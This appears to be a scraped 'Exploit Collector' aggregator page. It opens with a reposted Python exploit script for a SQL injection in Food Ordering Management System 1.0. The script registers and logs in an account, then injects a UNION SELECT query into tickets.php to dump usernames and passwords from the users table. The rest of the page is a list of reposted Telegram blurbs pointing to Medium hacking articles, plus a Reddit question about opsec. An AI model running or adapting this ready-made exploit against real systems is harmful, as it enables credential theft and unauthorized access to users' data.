Exploit Collector
Food Ordering Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Food Ordering Management System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 1be2c696b62c411f0a88c3819a1d4653e0f042e7aa59018ccd5596555ca02a4b

Download
# Exploit Title: Food Ordering Management System - SQL Injection
# Google Dork: N/A
# Date: 2022-9-27
# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11
# Vendor Homepage: https://www.sourcecodester.com/php/15689/food-ordering-management-system-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/foms.zip
# Tested on: windows 11 - XAMPP
# CVE : N/A
# Version: 1.0

#/usr/bin/python3

import requests
import os
import sys
import time
import random
from bs4 import BeautifulSoup

# clean screen
os.system("cls")
os.system("clear")

logo = '''
##################################################################
# #
# SQL injection (Food Ordering Management System) #
# #
##################################################################
'''
print(logo)

url = str(input("Enter website url => "))
username = str(input("Enter Username => : "))
name = ("test123456")
password = ("test123456")
phone = ("4511233199")
number = ("1234567891000000")
cvv = ("444")

req = requests.Session()

regsiter_page = (url+"/foms/routers/register-router.php")
regsiter = {'username':username,'name':name,'password':password,'phone':phone,'number':number,'cvv':cvv}
req_regsiter = req.post(regsiter_page,data=regsiter)
print("[+] Regsiter Successfully")

login = {'username':username,'password':password}
login_page = (url+"/foms/routers/router.php")
req_login = req.post(login_page,data=login)
print("[+] Login Successfully")

sql = req.get(url+"/foms/tickets.php?status=Open' union select 1,2,username,4,password,6,7,8 from users-- -")
text = sql.text
soup = BeautifulSoup(text,"html.parser")

print("[+] SQL Injction Get Users and Password from table Users")
for link in soup.findAll(True, {'class':['task-cat light-blue', 'collections-title']}):
time.sleep(0.2)
print(link.get)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

How to become a hacker?
https://medium.com/@noli.mtz/how-to-become-a-hacker-be6e85672a42?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Guys! I have more than 200 followers and it’s amazing, thank you so much to everyone! ❤ I’m back with another blog to recommend a book and…Continue reading on Medium » (https://medium.com/@noli.mtz/how-to-become-a-hacker-be6e85672a42?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Mobile Security.

Now many Types of Hacker now active in Public Places,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Creating your own Information Security Playbook

https://cdn-images-1.medium.com/max/600/1*-sjUnh0fW2ZZsgEOIjZjRw.jpeg
An In Depth Analysis of The O’Riley Read

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
El nuevo error de 0-Day de WhatsApp permite ejecutar un código y tomar el control total de la…

https://cdn-images-1.medium.com/max/986/0*2RswmtsPfvbw9qRp
WhatsApp corrigió silenciosamente dos vulnerabilidades críticas de día cero que afectan a las versiones de Android e iOS, lo que permite a…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cyber Career Paths

https://cdn-images-1.medium.com/max/728/0*wi4Eh4VNmbwGzeid
Hacker Philosophy Weekly is talking about various career paths in cyber in this latest episode of Stoic Reactions: Cyber Career Paths.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HackTheBox — Sequel — Writeup

https://cdn-images-1.medium.com/max/702/0*X7TOMAFKCr-q2CjE
This time I did the Sequel machine from HackTheBox. This one was a MariaDB running machine with poorly configured password.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Simple port scanner

https://cdn-images-1.medium.com/max/1500/1*8AbtRu0dNipv0n0T4I5S-w.jpeg
Have you ever thought about how many ports are open on your computer right now? Many applications these days choose the communication way…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Butler is the fourth vulnerable virtual machine which can be downloaded on the TCM Security…

https://cdn-images-1.medium.com/max/978/0*aMr2Tj3lqnTFUlu1.png
Difficulty : Easy / Medium

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to become a hacker?

https://cdn-images-1.medium.com/max/1503/1*grZUdkAqmE2aYi6yzhSnzQ.png
Guys! I have more than 200 followers and it’s amazing, thank you so much to everyone! ❤ I’m back with another blog to recommend a book and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

NFTuLoan Partners with Immunefi, Web3’s Leading Bug Bounty Platform to offer $10,000 Bounty Reward

NFTuLoan is excited to announce its new partnership with Immunefi. While NFTuloan focuses on the NFT aspect of blockchain technology…Continue reading on Medium »
Read more...

hacking: security in practice
What are some good SOPs for staying safe while practicing?

Hey all, wondering what extra basic and advanced opsec techniques I should employ. As a privacy and security oriented user, I already do things like VPNs, anti-fingerprinting browser plugins, secure end to end encryption where applicable, good account security practices, hardware security (ie encrypting drives). While I am just practicing techniques on sites like hackthebox and tryhackme, I would like to join the fight against scambaiters at some point, as well as improving security policies with companies I interact with at my job at an MSP. What other things can I learn and employ? I know this can become a pretty heated topic, but I'm just looking for basic practices that I have missed that I can employ. I would like to provide the disclaimer that I am fairly new to OPSEC in general in the blue/red teaming applications. Thanks!

submitted by /u/RedneckOnline
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video